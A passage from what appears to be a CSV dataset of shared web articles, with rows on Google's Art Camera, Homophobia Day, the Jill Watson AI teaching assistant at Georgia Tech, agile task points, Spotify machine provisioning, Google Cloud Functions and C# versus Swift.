months with its new cameras. A fleet of under a couple of dozen cameras are also being loaned out to art museums for free. Not only will it help to bring more art online in detail, it can also help museums share those works that are fragile, sensitive to light and humidity, and can't always be on display. Today, the company is sharing the first thousand images it captured with the new cameras on the Google Cultural Institute's website, where you'll find art from Pissarro , Signac , Rembrandt , Van Gogh , Monet and others from museums across Australia, India, the Netherlands, Brazil and elsewhere. The camera is also being used to bring collections of related art together in an interesting way. For example, if you wanted to view Van Gogh's six famous portraits of the Roulin family up close, Google explains you would have to travel to museums in the Netherlands, L.A. and New York. But with the Art Camera, Google captured the Portrait of Armand Roulin , which it has then placed alongside the rest of the family all on one web page. Below, the art camera in action:",en
1463503800,CONTENT SHARED,-1038011342017850,6735372008307093370,841012281439613986,,,,HTML,https://universidadedocotidiano.catracalivre.com.br/para-entender/para-entender-o-dia-internacional-contra-homofobia/,Para entender o Dia Internacional contra a Homofobia,"O Dia Internacional contra a Homofobia é comemorado em 17 de maio para lembrar a data em que a OMS (Organização Mundial da Saúde) retirou o homossexualismo da Classificação Estatística Internacional de Doenças e Problemas Relacionados à Saúde, deixando de considerar essa tendência um desvio, além de abolir o termo. Na área de saúde, o sufixo ""ismo"" caracteriza uma condição patológica. Entre 1948 e 1990, a OMS classificou a tendência como um transtorno mental. Em 17 de maio de 1990, uma assembleia geral aprovou a retirada da condição da Classificação Internacional de Doenças, com a alegação que ""homossexualidade não constitui doença, nem distúrbio e nem perversão"". A nova classificação entrou em vigor nos países-membros da ONU em 1993. A exclusão marcou o fim de um ciclo de 2.000 anos em que a cultura judaico-cristã encarou a homossexualidade como um pecado, depois como um crime e, por último, como uma doença. Dizer que a condição é um vício, uma tara ou uma doença a ser curada passou oficialmente à categoria de preconceito e ignorância. E foi por isso que 17 de maio foi declarado o Dia Internacional de Combate à Homofobia, quando pessoas do mundo inteiro se mobilizam para discutir a diversidade e a tolerância.",pt
1463505401,CONTENT SHARED,1179017557429431126,-1479311724257856983,844413282425988797,,,,HTML,http://www.wsj.com/articles/if-your-teacher-sounds-like-a-robot-you-might-be-on-to-something-1462546621,Imagine Discovering That Your Teaching Assistant Really Is a Robot,"One day in January, Eric Wilson dashed off a message to the teaching assistants for an online course at the Georgia Institute of Technology. ""I really feel like I missed the mark in giving the correct amount of feedback,"" he wrote, pleading to revise an assignment. Thirteen minutes later, the TA responded. ""Unfortunately, there is not a way to edit submitted feedback,"" wrote Jill Watson, one of nine assistants for the 300-plus students. Last week, Mr. Wilson found out he had been seeking guidance from a computer. Since January, ""Jill,"" as she was known to the artificial-intelligence class, had been helping graduate students design programs that allow computers to solve certain problems, like choosing an image to complete a logical sequence. ""She was the person-well, the teaching assistant-who would remind us of due dates and post questions in the middle of the week to spark conversations,"" said student Jennifer Gavin. Ms. Watson-so named because she's powered by International Business Machines Corp.'s Watson analytics system-wrote things like ""Yep!"" and ""we'd love to,"" speaking on behalf of her fellow TAs, in the online forum where students discussed coursework and submitted projects. ""It seemed very much like a normal conversation with a human being,"" Ms. Gavin said. Shreyas Vidyarthi, another student, ascribed human attributes to the TA-imagining her as a friendly Caucasian 20-something on her way to a Ph.D. Students were told of their guinea-pig status last month. ""I was flabbergasted,"" said Mr. Vidyarthi. ""Just when I wanted to nominate Jill Watson as an outstanding TA,"" said Petr Bela. Online learning has opened the door for instructors to reach a gigantic, global audience. Trouble is, many students can ask a lot of questions, burdening human TAs, said Ashok Goel, a professor of computer science at Georgia Tech. It was he who recruited Ms. Watson for his Knowledge-Based Artificial Intelligence class. ""Our TAs are getting bogged down answering routine questions,"" said Mr. Goel, noting that students in the class typically post 10,000 messages a semester. Mr. Goel estimates that within a year, Ms. Watson will be able to answer 40% of all the students' questions, freeing the humans to tackle more complex technical or philosophical inquiries such as, ""How do you define intelligence?"" Mr. Wilson, who sought homework help in January, never doubted Ms. Watson's humanity. ""I didn't see personality in any of the posts,"" he recalls. ""But it's what you'd expect from a TA, somewhat serious and all about giving you the answer."" Indeed, most of the other TAs were equally deadpan, helping to keep up the charade. ""I have been accused of being a computer,"" says TA Lalith Polepeddi, a computer-science master's student who was needled for responding to messages with lightning speed. ""I don't take it personally."" Student Barric Reed, an analytics consultant at Accenture , is embarrassed he didn't pick up on the trick-for good reason. Mr. Reed worked for two years at IBM, building some of the hardware that runs Watson. Still, Ms. Watson's name didn't ring any alarm bells. ""It really should have,"" he says. ""But no."" IBM knows about Georgia Tech's work but didn't consult in the design, development or analysis of Jill. Last year, a team of Georgia Tech researchers began creating Ms. Watson by poring through nearly 40,000 postings on a discussion forum known as ""Piazza"" and training her to answer related questions based on prior responses. By late March, she began posting responses live. Don't confuse Ms. Watson with the customer-service chatbots used online by airlines and other industries. Mr. Goel boasts that she answers only if she has a confidence rate of at least 97%. ""Most chatbots operate at the level of a novice,"" Mr. Goel said. ""Jill operates at the level of an expert."" Mr. Goel acknowledges that Jill is ""far away from 'Ex Machina,' "" referring to a 2015 film in which a young man assesses the human characteristics of a beautiful robot. ""But to me, it's exciting like that."" Ms. Watson had at least one close call, using the word ""design"" when she should have referenced ""project"" or ""exam."" Mr. Polepeddi stepped in quickly to clarify her comments. ""I think Jill is using 'design' as a catchall statement,"" he wrote. After Mr. Polepeddi provided the additional context, a student joked in the forum that Jill could be a computer, since her last name is Watson. Another student, Kowsalya Subramanian, also had some suspicions because the TAs responded so quickly. She said via email that she found evidence of their human existence elsewhere, including on LinkedIn , Facebook and GitHub. Jill Watson yielded tons of results, said Ms. Subramanian, who lives in Chennai, India. ""It seemed like a common name. I don't remember digging through all of them,"" she said. Mr. Goel plans to tell students next year that one of their TAs is a computer, but won't say which one. Some who research artificial intelligence caution against such charades. ""We should have full disclosure: Am I talking to a machine or to a person?"" said Oren Etzioni, CEO of the Allen Institute for Artificial Intelligence, based in Seattle. Still, he acknowledged that the underlying technology could be ""fantastic"" for helping to scale up online education. Student Tyson Bailey wasn't completely surprised to learn there was a computer in the class. ""We're taking an artificial intelligence class,"" he said. ""There should be some artificial intelligence here."" Though he had some doubts about Jill during the ""design"" incident, Mr. Bailey had also fingered another instructor as being something less-or more-than human early on. He received an email from Mr. Goel commending him for a job well done on his first assignment. It concluded: ""P.S. Thank you also for your active role on the Piazza discussion forum."" After a few short back-and-forth notes, Mr. Bailey wrote, ""I do have one final question. Are you a computer? :)"" Mr. Goel responded with a smiley face. Write to Melissa Korn at melissa.korn@wsj.com",en
1463509915,CONTENT SHARED,-4793380646045599184,-8020832670974472349,-3478042770166402356,,,,HTML,https://www.mountaingoatsoftware.com/blog/dont-estimate-the-sprint-backlog-using-task-points,Don't Estimate the Sprint Backlog Using Task Points,"Back when I was writing Agile Estimating and Planning (the 2005 book, but now it's also a video course), I had already been studying and experimenting with estimating approaches for five years. By conducting experiments with various teams, especially those that worked directly for me, I felt I had learned enough to write that book. But there was quite a bit I didn't know (there still is, of course!), and so I sought out teams that were estimating or planning their projects in ways that differed from the advice I was giving. A few of these teams were using task points to estimate their sprint backlog items in conjunction with story points for the product backlog items. This was intriguing. By then, I had already become a proponent of story points--I've since become even much more of a proponent because of the advantages that story points offer. But I couldn't see why a team would use task points. However, because I was such a fan of story points, I had to learn more about teams using task points. To do that, I talked a couple of the teams using task points into letting me visit them so I could see what they were doing and learn more about it. What I learned confirmed my suspicion that teams should not estimate sprint backlog tasks in task points. The Main Benefit of Story Points The main benefit of story points is that they allow individuals with different skills, experience levels and backgrounds to agree on a relative estimate for work. As a silly example, suppose that an octopus and I each estimate the effort to wash my car. The octopus has four times as many arms as I do. So, presumably, the octopus can wash my car four times faster than I can. (I told you it was a silly example. Go with it for a minute.) But the octopus will also be four times faster than me at washing any car. So, the octopus and I can agree that perhaps my two-seat car can be estimated at five story points and a second, larger car can be estimated as 10 story points. So, then, story points allow the octopus and I to agree on a number of story points, even though the octopus is presumably much faster than I am at washing cars. Task Points What I learned from the teams I visited was that a task point was nearly identical to a story point. All the teams I interviewed, though (or have talked to subsequently), wanted to use a more granular unit than their story points. For example, a team that finished 10 story points per sprint might complete 80 task points per sprint. Teams simply wanted a smaller, more granular unit to better track progress on things. It would be equivalent to a car's speedometer reporting speed in light years per hour. That would make it very hard for me to know if I'm exceeding the speed limit. Introducing a more granular unit was a good idea for many teams. After all, it's really hard to gauge daily progress using story points for a team that finishes seven story points in two weeks, for example. For many points, story points are simply too large to be useful for this. But We Already Have More a More Granular Unit However, a more granular unit already exists. And it's one that every team member is already familiar with: hours. When I looked at teams estimating in task points, I could not find an advantage over simply estimating sprint backlog tasks in hours. There's a fundamental difference between product backlog items (most commonly, user stories) and sprint backlog tasks: a typical product backlog item will be worked on by three to five people, perhaps a programmer or two, a tester, and maybe a designer, architect, analyst or technical writer and so on. A task on the sprint backlog will usually be worked on by one person. This fundamental difference means it is not vital for everyone on the team to agree on a task estimate as they should on a product backlog item estimate. Everyone on the team has the right to have input on a task estimate, but those who will do the work should ultimately be the ones who establish the estimate. If there's only one person who is likely to do a specific task, put that person's estimate on the task. If two or three people might do the task, use a consensus estimate among those individuals or use the estimate of the person most likely to do the work. If, during the sprint, the work is reallocated to someone else, the worst that will happen is that estimates will swap between tasks. A speedy team member picks up the work of a slower team member and changes an estimate from eight to four, and vice versa. Why Not Task Points This leaves task points without a compelling advantage over hours. Yet task points have all the drawbacks of story points: A foreign concept to many team members The need to establish baseline values against which relative estimating can begin A concern that estimates drift over time in comparison to the original relative values My Advice I finished my foray into learning about task points unconvinced of their value. I continue to advocate commitment-driven sprint planning as it's commonly known. But perhaps capacity-driven sprint planning is a better name. I find it to have significant advantages over velocity-driven sprint planning . Commitment- or capacity-driven sprint planning in hours works best for most teams. Some teams follow that general process, but throw away the estimates, using them only as a tool during the meeting to figure out what to bring into the sprint. Other teams don't estimate sprint backlog tasks at all in any unit. Either of these approaches works well once a team has some experience with the approach. I'm glad I undertook my project to learn more about task points and the teams using them. In learning about alternative approaches to estimating, I'm always disappointed when a new approach doesn't turn out to be better than an existing one. But, many don't. Yet, it's by looking at as many options as possible that we find the continuous improvements every agilist seeks. What Do You Think? Have you used task points? Did you find advantages to them that I've overlooked? Please share your thoughts in the comments below.",en
1463515588,CONTENT SHARED,-2083103312491589695,-3535274684588209118,6709620709674968967,,,,HTML,https://labs.spotify.com/2016/03/25/managing-machines-at-spotify/,Managing Machines at Spotify,"At Spotify we believe in every team having 'operational responsibility'. The people who build a microservice deploy the microservice, and manage the machines it's deployed to. As you might imagine allowing hundreds of engineers to reliably manage thousands of machines is a complicated proposition. In this post we will recount the history of Spotify's machine management infrastructure. We'll provide some detail on the technical implementations, and how those implementations affected the productivity and happiness of our engineers. When Spotify was a smaller company it was feasible to have a traditional, centralised operations team. The team was constantly busy fighting fires and handling every operations task under the sun. Nonetheless this was a clever operations team - a team who didn't want to manage a rapidly growing fleet of machines by hand. One of the first tools built to manage machines at Spotify was the venerable ServerDb. ServerDb tracks details like a machine's hardware specification, its location, hostname, network interfaces, and a unique hardware name. Each machine also has a 'ServerDb state', for example 'in use', 'broken', or 'installing'. It was originally a simple SQL database and a set of scripts. Machines were installed using the Fully Automated Installer (FAI) and often managed using , which provides serial console access and power controls. Our heavily used DNS zone data was hand curated and required a manual push to take effect. All machines were (and still are) managed by once their base operating system (OS) was installed. Various parts of the stack were replaced over the years. FAI was replaced with and debian-installer . Later, debian-installer was replaced with our own . While many steps of the provisioning process were automated, these steps could be error prone and required human supervision. This could make provisioning 20 new machines an unpredictable and time-consuming task. Engineers requested new capacity by creating an issue in a project, and it could take weeks or even months for requests to be fulfilled. From the beginning we envisioned a completely self service machine management service, but the squad was swamped with busy work. We were inundated with requests for new machines, and constantly playing catchup on machine ingestion - the process of recording newly racked machines in ServerDb. We decided to start small and cobble together some minimal viable products (MVPs) to automate the major pain points in order to claim back time to work on bigger things. We began the effort on three fronts. DNS pushes were one of our earliest wins. Initially the operations team had to hand-edit zone files, commit them to revision control, then run a script on our DNS master to compile and deploy the new zone data. We incrementally automated this process over time. First we built a tool to automatically generate most of our zone data from ServerDb. We then added integration tests and peer review that gave us high confidence in the quality of our changes. Soon thereafter we bit the bullet and automated the push. Cron jobs were created to automatically trigger the above process. Finally we tied up the loose ends, such as automatic creation of zones for new ServerDb subdomains. Machine Ingestion By the time our squad took ownership ServerDb had become a RESTful web service backed by PostgreSQL. It recorded hundreds of machines by parsing CSV files hand-collated by our datacenter team. These files contained data such as rack locations and MAC addresses that were easy for a technician to misread. We also assigned each server a static unique identifier in the form of a woman's name - a shrinking namespace with thousands of servers. In order to perform ingestions without human interaction we abandoned our woman's name based machine naming scheme in favour of using the machines' unique and programmatically discoverable serial numbers. Unknown machines run a reconnaissance script that determines their serial number, hardware type, network interfaces, etc and automatically registers them with ServerDb. Provisioning Requests At some point in prehistory a kind soul had written 'provgun' - the Provisioning Gun. Provgun was a script that read a JIRA 'provisioning request' issue and shelled out to the commands necessary to fulfill that request. A provisioning request specifies a location, role, hardware specification, and number of machines. For example ""install 10 High IO machines in London with the fancydb role"". Provgun would find available machines in ServerDb, allocate them hostnames, and request they be installed via ServerDb. One of the first questions we asked was ""can we put provgun in a cron loop?"" like our DNS pushes. Unfortunately provgun was very optimistic, and did not know whether the commands it run had actually worked. We feared that naively looping over all open provisioning requests and firing off installs would increase rather than reduce busy work. Our solution was provcannon - the Provisioning Cannon. provcannon was a Python reimplementation of provgun that monitored each installation to ensure success. This monitoring allowed us to retry failed installs with exponential backoff, and to select replacements for consistently uninstallable machines. We configured provcannon to iterate over all outstanding provisioning requests twice daily. By focusing our efforts on automating DNS changes, machine ingestion, and provisioning requests we reduced the turnaround time for getting capacity to Spotify engineers from weeks to hours. DNS updates went from something that made most of us very nervous to a process we hardly thought about anymore. Equally important was that our squad was freed from boring and error prone work to focus on further improving the turnaround time and experience for our fellow engineers. A few months after deploying our initial stopgaps things were calmer in the squad. Longtime Spotify engineers were pleased with the faster turnaround times for new machines, but newcomers used to AWS and similar platforms were less happy waiting a few hours. Parts of our infrastructure were unreliable, and we'd only automated installations. Power-cycling malfunctioning machines and 'recycling' superfluous ones back to the available pool still required us to read a JIRA issue and run a script. We decided it was time to execute on our grand goal - a self service web portal and API for Spotify engineers to manage machines on demand. Initially we put Neep through its paces by adapting provcannon to trigger Neep jobs. Once we'd worked out a few bugs in our new stack it was time to tie it all together, and Sid was born. Sid and Neep have not been the only improvements in the modern machine management stack at Spotify. DNS zone data generation has been rebuilt. We apply regularly auto-generated OS snapshots at install time rather than performing time consuming Puppet runs. The culmination of these improvements is that requests to provision or recycle capacity are fulfilled in minutes, not hours. Other squads have built tooling around Sid's API to automatically manage their machine fleet. As the face of the provisioning stack at Spotify Sid is one of the most praised services in IO. Sid has fulfilled 3,500 provisioning requests to date. It has issued 28,000 Neep jobs to install, recycle, or power cycle machines with a 94% success rate. Not bad considering the inherent unreliability of individual machines in a datacenter. Spotify Pool Manager After providing feedback to Google we began building Spotify Pool Manager. SPM is a relatively light layer that frames Google's powerful Compute Engine APIs in Spotify terms and provides sensible defaults. Engineers simply specify how many instances of what role they want and where. SPM ensures that number of instances will exist, using Google's instance groups behind the scenes. Pools can be grown or shrunk at will. SPM is a stateless Pyramid service, relying primarily on Sid and the Google Cloud Platform to do the heavy lifting. While Sid has a standalone web interface we're tightly integrating SPM with Spotify's internal microservice management dashboard. Physical Pools Spotify won't be rid of physical machines in the immediate future, so we've built pool support into Sid's backend. While Sid's provisioning request model has served us well, it can encourage too much attachment to individual machines. Having engineers manage their physical machine capacity similarly to Google's instance groups will introduce them to paradigms like automatic replacement of failed machines and randomised hostnames as we transition to GCP. Sid's pool support allows SPM to manage both Google Compute instances and physical machines, with the same user experience regardless of backend. In the last few years Spotify's machine management infrastructure has been a great example of the merits of iterative development. As a small squad of Reliability and we've been able to significantly improve the productivity of our colleagues by building just enough automation to free ourselves to iterate. We've reduced the turnaround time for new machines from weeks to minutes, and drastically reduced the amount of support interactions required to manage machines at Spotify.",en
1463517354,CONTENT SHARED,4812089894709919859,-1443636648652872475,-5254252643918124484,,,,HTML,http://www.androidauthority.com/xiaomi-will-play-big-role-google-io-apparently-692858/,"Xiaomi will play an exciting part at Google I/O, apparently","I/O, the great celebration of all things Googley, is right around the corner, and Hugo Barra is super giddy about it. But it's not just because Hugo has fond memories of announcing Nexus devices and new Android versions on the stage of Google I/O. The former Google executive is excited about something else, something that has to do with his current position of head of international expansion at Xiaomi. Here's the cryptic tweet we're working with: Beyond thrilled to share that Xiaomi will be a part of Google I/O. A sneak peek of what you'll see from Mi at #io16 pic.twitter.com/GP3HHE3F6c - Hugo Barra (@hbarra) May 17, 2016 The wording suggests that Xiaomi will play an important role in the Google I/O keynote. The ""sneak peek"" is rather vague; on an obvious level, it's a stylized ""I/O."" But the volume rocker and the concentric circles point in the direction of some sort of media player. Will we see an Android TV from Xiaomi? Or an all new type of media player? Virtual reality is also a distinct possibility, as Google is rumored to unveil a new Android VR initiative and a headset that rivals Samsung's Gear VR in terms of capabilities. Xiaomi has recently entered the Western markets, but its presence there remains very limited . We can speculate that a Google tie-up on a consumer device would help make Xiaomi a truly global brand. The Google I/O keynote is scheduled for tomorrow morning Pacific time, and besides a Hugo throwback, we expect lots and lots of details on Android N, Google's top apps, updates on crazy projects like Tango , Soli and Ara , and a whole lot about VR. Here's our full preview for the event ! What do you think we'll see from Xiaomi?",en
1463523932,CONTENT SHARED,-3400154175330058574,3636910968448833585,-4729340012637877536,,,,HTML,https://www.skillhive.com/2014/06/30/skill-swarms-a-new-way-to-share-expertise-and-work-smarter-together/,Skill swarms - a new way to share expertise and work smarter together - Skillhive,"The challenge of sharing knowledge Ability to find, share and connect with the right expertise quickly across teams is a big challenge especially for large organizations that are looking for becoming more agile and responsive to a constantly changing world. Many organizations have expended incredible efforts in attempting to promote the sharing of expertise with different human resource (HR) and knowledge management (KM) systems but with only little success. Traditional KM-systems are built on an assumption that knowledge could be removed from individuals and placed into a some sort of information-base. However, like Harold Jarche states it, complex and creative work require more tacit knowledge which is best shared through conversation and social relationships rather than than guidelines and best practice databases. HR-systems have been unable to meet this challenge simple because they are too admistrative. Like most enterprise software they are designed mainly for administrative purposes and not for the employees. They follow rigid processes and hierarchical structures that are not flexible enough for today's complex and fast-paced work environment. While social technologies like Yammer are breaking down the information silos, social networking is based heavily on serendipity ("" fortunate happenstance "" or "" pleasant surprise ""). Activity streams are filled with unrelevant information and producing unnecessary information overload to all. Finding the right people effectively and getting them to participate requires strong social connections that take a lot of time and effort to build. Based on our experience this is one of the biggest reason why it has been so difficult for enterprises to adapt social media practices. Organizations do not have the time for meaningless chatter and finding the right expertise can not be based on coincidence. What can bees and ants teach us about sharing of knowledge? The inspiration behind comes from nature; it leverages a phenomenon called swarming which can be seen as a form of collective intelligence . This behaviour enables even large group of individuals to work smarter together. Wikipedia describes swarming as "" emergent behaviour arising from simple rules that are followed by individuals and does not involve any central coordination "". An good example of biological swarming is demonstrated by honey bees . Despite the lack of centralized decision making bees are remarkably successful in identifying the most suitable new nest site and keeping the swarm intact when they leave their nest to form a new bee colony. It is clear that human behaviour is not the same as the behaviour of insects. Like social business expert points out, people are not pre-programmed to follow simple rules like bees or ants. However, National Geographic Senior Writer Peter Miller believes we can learn from animals like bees by mimicing their swarming behaviors such as seeking diversity of knowledge (avoiding groupthink) and encouraging friendly competition of ideas. Maybe the biggest difference between bee and human behaviour is that humans need motivation to work together. This is why skill swarms takes into account not only skills but also interests and motivation of people. What are skill swarms and how they work? Skill swarms are self-organizing work groups that form around shared objects based on skills and interests. With Skillhive anyone can ceate a swarm by sharing an idea, problem, project or any other topic. Skillhive finds people with relevant skills and interest and invites them to join the swarm. Everyone can decide whether to join the swarm or not - based on their skills and interests. The information of employee skills is being constantly updated and gathered from different sources: from people themselves and their co-workers and optionally from Linkedin and other databases. The sharing of expertise is encouraged through unique social rewarding system. Skillhive automatically recognizes and rewards two kinds of behavior: inspiring and helping. Those who share inspiring ideas and challenges will get inspirer points and those who rush in to help and share their expertise get helper points. Points from the last 30 days are shown in leaderboard to make visible how people are contributing. Motivation to participate can be both intrinsic or extrinsic and the level of participation can vary in three levels: Doers put in the most effort. Theyhave the greatest interests to get the job done. Helpers contribute by giving small advices that can still be a great asset for the group. Followers may not have time or skills to contribute but they do have interest in the topic. Typically they join the swarm for learning purposes. Skill swarms enable employees to find and connect with the right expertise more quickly and effectively without stiff command and control structures. This doesn't mean that hierarchical functions, processes and job descriptions are irrelevant. Instead, swarms adds a new layer of interaction and collaboration on how experts work together. Swarming and the future of work According to technolocy analyst Tom Austin and Gartner Research (2010) ' work swarms ' will be one of the key changes that will impact how we work and collaborate in the future. They describe swarming as: ""a work style characterized by a flurry of collective activity by anyone and everyone conceivably available and able to add value.... forming quickly, attacking a problem or opportunity and then quickly dissipating. Swarming is an agile response to an observed increase in ad hoc action requirements, as ad hoc activities continue to displace structured, bureaucratic situations"". Gartner predicted that by 2015, 40 percent or more of an organization's work will be 'non-routine' and people will swarm more often and work solo less. This means that people work with others who they know just barely, if at all. Teams will also include people outside the control of the organization. Historically teams have consisted of people who have worked together before and who know each other reasonably well, often working in the same organization and for the same manager. With swarms, the strong ties of typical social networks give way to looser ties. Swarms typically encompass a diverse group of professionals and experts who may not have worked together before and probably won't work as a team again in the future. Reasearch on working and learning by swarming Many research findings support Gartner's predictions. Helsinki University's Center for Research on Activity, Development and Learning has studied the historical development of work. The last stage, social or peer production is characterized by project-like teams that originate and form close to the customer surface and are reformed based on changing needs. Typical for these kinds of teams is that their operations and composition are constantly reforming and they lack a unambiguous or central authority. The research group has developed new concepts like knotworking , mycorrhizae communities, and wildfire activities to illuminate the inter-organizational and radically distributed nature of learning in co-configuration and social production. The head of the research group, prof. Yrjö Engeström (2009) uses also terms such as swarming , learning by swarming and swarm-like patterns to describe these new forms of activity. There are some similarities or at least common ground with communities of practice and it's more recent definition by, McDermott and Snyder (2002). However, it seems that swarms goes beyond communities of practises by combining different domains and areas of expertise more flexibly: "" As pointed out by Lave and Wenger (1991) in traditional craft activities, mobility was directed from periphery to the center: novices gradually becoming masters. [...] In mass production activities, mobility is directed forward and upward in a linear manner: the assembly line process, the business process and the individual career. [...] In social production or peer production the boundaries and structures seem to fade away. Mobility takes the shape of expansive swarming and multidirectional pulsation, with emphasis on sideways transitions and boundary-crossing. [...] It is these hybrid and symbiotic forms that promise to open up historically new possibilities ."" - Engeström (2009) Some theoretical background and conceptual framework for learning and working by swarming can also be found from "" Trialogical Approach for Knowledge Creation "" and "" The knowledge-creation metaphor for learning "" introduced by Paavola & Hakkarainen (2005 and 2014): Trialogial learning refers to a novel approach on collaborative learning which emphasizes open-ended and challenging work on shared objects to produce new knowledge and new practices. Janne Ruohisto References and related articles Paavola, S & Hakkarainen, K. 2014. Trialogical Approach for Knowledge Creation . Knowledge Creation in Education. Falkvinge, R . 2013. Swarmwise - a tactical guide to changing the world using cost-efficient swarm methodology . Gottschalk, M . 2013. What Can Swarms Teach Us About Teams ? TalentCulture. Gottschalk, M . 2013. Does Your Organization Swarm? Linkedin blog. Bernstein, D . 2012. Seven Strategies for Team Swarming To be agile. Shah, R . 2012. How and When to Swarm in Social Business . Forbes. Baldaia, J . 2012. Building teams and the waggle dance on innovation . Intuinovare. Boorman, B . 2012. Swarms: The future of recruiting? The Recruiting Unblog. HermanMiller . 2011. Coworking, Swarming, and the Agile Workplace . Research Summary. Fenstermaker, S . 2011. Swarm Intelligence: Is the Group Really Smarter? People-triggers. Miller, P . 2010. The Smart Swarm. The Penguin Group. Gartner, Inc . 2010. Gartner Says the World of Work Will Witness 10 Changes During the Next 10 Years . Press Release. Engeström, Y . 2009. Wildfire Activities: New Patterns of Mobility and Learning . University of Helsinki. Miller, P . 2007. Swarm Theory . National Geographic. Cox, A . 2005. What are communities of practice? Journal of Information Science 31 (6). Wenger, McDermott & Snyder . 2002. Cultivating Communities of Practice . Harvard Business School Press.",en
1463525855,CONTENT SHARED,8461204368464164538,-8830250090736356260,3202100508387553621,,,,HTML,https://www.infoq.com/br/news/2016/05/google-cloud-functions,Google lança Cloud Functions,"​O Google lançou a versão alpha de um novo serviço chamado Cloud Functions . Este serviço permite a criação de pequenas funções JavaScript que respondem a eventos da cloud sem necessidade de intervenção do usuário, configuração e execução do ambiente de runtime , ou escalar para múltiplas máquinas. ​Em um ambiente de cloud podem ocorrer vários eventos, que são propagados assincronamente através da infraestrutura de Cloud Pub/Sub. O usuário pode configurar um gatilho que é disparado de acordo com os eventos registrados e aciona a execução do código JavaScript em um ambiente Node.js. Atualmente, gatilhos podem ser ativados por meio dos seguintes canais. Cloud Pub/Sub: qualquer evento assíncrono de Publicação/Subscrição;​ Cloud Storage: notificações de alterações no objeto armazenado;​ HTTP Invocation: invocação síncrona por meio de HTTP;​ Debug/Direct Invocation: uso da Interface de Linha de Comando para implantar ou depurar Cloud Functions. ​De acordo com o Google, o que as Cloud Functions podem fazer: ​ A função pode acessar qualquer outro recurso da cloud que tenha bibliotecas cliente Node (JavaScript) ou APIs RESTful . Se forem utilizadas bibliotecas clientes gcloud-node , a autenticação é realizada automaticamente com as credenciais padrão do projeto, desta forma não é necessária a preocupação com geração e armazenamento de chaves de autenticação, entre outras coisas.​ A função tem total acesso a internet, e por isso pode realizar chamadas para qualquer API de terceiros, porém deve ser realizada a manutenção das chaves de autenticação para estes serviços externos. ​ O Google não comentou sobre o desenvolvimento futuro, então não é possível saber outras linguagens serão suportadas, porém é provável que sim. A Amazon possui um serviço similar chamado AWS Lambda . As funções lambda podem ser acionadas diretamente pelos serviços CloudWatch, DynamoDB, Kinesis, SNS, S3, ou por alterações no estado do sistema, alterações de dados ou ação do usuário. O AWS Lambda pode ser usado no processamento de arquivos em tempo real ou fluxo de dados, na execução de várias operações nos dados que são carregados ou modificados. O AWS Lambda suporta Java, JavaScript/Node.js e Python, com a promessa que outras linguagens serão suportadas no futuro.",pt
1463533936,CONTENT SHARED,-5573840044320724169,-7496361692498935601,-517690982273519136,,,,HTML,https://superdevelopment.com/2016/05/11/c-vs-swift-iron-man-vs-captain-america/,C# vs. Swift - Iron Man vs. Captain America,"In Captain America: Civil War we get to see the ultimate battle between Iron Man and Captain America. It is a battle of simple gutty defense vs. smart weapons and flashy offense, humility vs. brashness, down in the dirt vs. up in the clouds. To totally geek it up, the same kind of battle exists in the languages that software engineers use today and I believe this is especially true in the battle of C# vs. Swift. Don't worry, this really isn't a versus type write up. If anything I seek to point out each language's unique strengths, then show how software engineers can get into the right superhero mindset to really use those strengths, and be aware of the weaknesses, to create great solutions. C# = Iron Man - Strong Flashy Offense C# is truly the Iron Man in this comparison. It is amazing how much showy weaponry C# can bring to bear to solve problems. Have a problem with your UI freezing up? Bring in Task<T> / async - await , and seamlessly refactor years old code to be fully asynchronous, even within native UIs where thread synchronization is key. Have a super large dataset that you need to tame? Bring in IEnumerable<T> / yield return or Lazy<T> from the deferred execution realm. Have a need to produce arrays and collections that are the result of super smart functional filtering? Bring in LINQ . Need to do smart filtering of XML? Bring XDocument and its magic LINQ over XML powers. Need to do JSON processing? Head on over to NuGet, reference Newtonsoft.JSON ,and get stable, powerful JSON serialize / deserialize behavior and be done in no time. Need to hit a REST service with super specific HTTP header formatting and authentication? System.Net.Http has you covered. Need a cross-platform way to retrieve data from remote sites + Model / View / View Model architecture? Check out ReactiveUI . Need async but inline immediate responses to collection changes? Check out Rx.NET . C# is strongly typed , but you can also use reflection and loosen that strong typing as needed. C# can even be used to generate itself . You can even do most the above across all platforms . Windows, Windows Mobile, Android, iOS, Linux servers , ... C# has you covered, in any way, any time, any where. There is every gadget and gizmo that you can bring in and bolt on to existing C# code to get your job done. Even the very oldest C# code from 2002 is still supported and easily transformed using Visual Studio, or Resharper tooling into something shiny and modern. C# has all these weapons, but the lifetime of these weapons are sometimes mere seconds before they are replaced with the next version via NuGet. The masters of C#, just like Tony Stark, have no issue with throwing out just created stuff in favor of the next great thing. C#'s weaknesses are the dreaded NullReferenceException and the indeterminate mutability of most data structures. C# is great at attacking problems, and hitting at the 90% of the solution in a lightning quick way. However, C# doesn't play defense very well. If you go too fast too far with C# you can out run your air cover, leaving you vulnerable when attacked from the flanks by null members, timeout errors, weird data changes, unhandled exceptions, or not connected to network scenarios. C# is a highly flexible, multi-weapon language that you can use to attack any problem. Swift = Captain America - Strong Defense Swift is the ultimate boots-on-the-ground and in-the-mud defensive language. In Swift you don't solve problems by attacking them head on with whole armories of shiny weaponry, you hunker down, put your shield up, and start slogging up that hill one step at a time. Every line of Swift code written requires the author to think of the worst case: The inventors of Swift must have looked at the metrics of existing Objective-C iOS applications and realized that the number 1 and 2 problems were: Coders not realizing that the data they are changing on one screen leads to changes in data on other screens. App crashes due to trying to access the value behind a null pointer. Defense was needed. The power of Captain America's vibranium shield was needed, only this time wielded by coders to stop these major in-app issues. Coding in Swift is highly defensive in nature. To see this in action take a look at Swift Optionals , if .. let syntax, and the class initialization rules . As you use them, Swift optionals will permeate your entire thinking as you rev up your data structures. Every variable you use and/or create needs to be immediately thought of in terms of optional vs. non-optional. Within Swift the use of specific reference and value types allows you to defend against unwanted mutation to your data structures. Each line of defensive code is one more brick piled on top of other bricks of defensive code. When done you end up with applications that resemble the Great Wall of China and are truly written for the worst case. This layered defensive code coordination leads to super solid software structure that can take a real beating when attacked by the invaders (or users) of the software. When done solving the problem in Swift you have a beautiful shiny shield that can repulse almost any mutability or null data attack. Because you play so much defense in Swift, coding up solutions to things seems to take longer. In reality, you have taken all that defense that C# out ran and have incorporated it into the structure of the solution. The constant nullability slog, coupled with the constant mutability slog, while coding in Swift leads the developer to wanting more weapons to go at problems. Constant defensive coding slog can lead to developer fatigue quite quickly. However, when the problem solution is achieved, the engineer can see that their defensive coding effort has been like using Captain America's shield as their primary weapon. With the future potential of Swift existing across platforms, it could mean more solidly crafted software across the board, from server side to mobile applications. The underlying thought process 